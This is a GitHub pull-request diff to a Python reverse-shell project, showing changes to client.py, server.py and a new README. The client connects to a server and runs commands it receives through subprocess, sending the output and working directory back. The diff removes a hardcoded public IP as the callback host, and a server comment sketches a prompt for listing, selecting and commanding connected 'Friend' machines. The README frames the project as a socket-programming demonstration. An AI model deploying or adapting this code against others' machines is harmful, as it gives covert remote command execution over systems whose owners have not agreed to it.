Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 3 additions & 3 deletions Multi_Client ( ReverseShell v2)/client.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,9 +3,9 @@
import subprocess

s = socket.socket()
host = '104.236.209.167'
host = input("Enter the IP address: ")
port = 9999

print("Using the default port", port)
s.connect((host, port))

while True:
Expand All @@ -20,4 +20,4 @@
currentWD = os.getcwd() + "> "
s.send(str.encode(output_str + currentWD))

print(output_str)
print(output_str)
23 changes: 15 additions & 8 deletions Multi_Client ( ReverseShell v2)/server.py
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@ def create_socket():
global host
global port
global s
host = ""
host = "127.0.0.1"
port = 9999
s = socket.socket()

Expand Down Expand Up @@ -64,16 +64,23 @@ def accepting_connections():
except:
print("Error accepting connections")

'''
# 2nd thread functions -

1) See all the clients
2) Select a client
3) Send commands to the connected client


# 2nd thread functions - 1) See all the clients 2) Select a client 3) Send commands to the connected client
# Interactive prompt for sending commands
# turtle> list
# 0 Friend-A Port
# 1 Friend-B Port
# 2 Friend-C Port
# turtle> select 1
# 192.168.0.112> dir

turtle> list
0 Friend-A Port
1 Friend-B Port
2 Friend-C Port
turtle> select 1
192.168.0.112> dir
'''

def start_turtle():

Expand Down
8 changes: 8 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
# Reverse-Shell

This is a revese-shell program which can be used to control the single or multiple clients at the same time.

The script is purely written in the python3 language.
This is to demonstrate the socket programming in python.

You can also use it as chat application if you modify it a little nit more.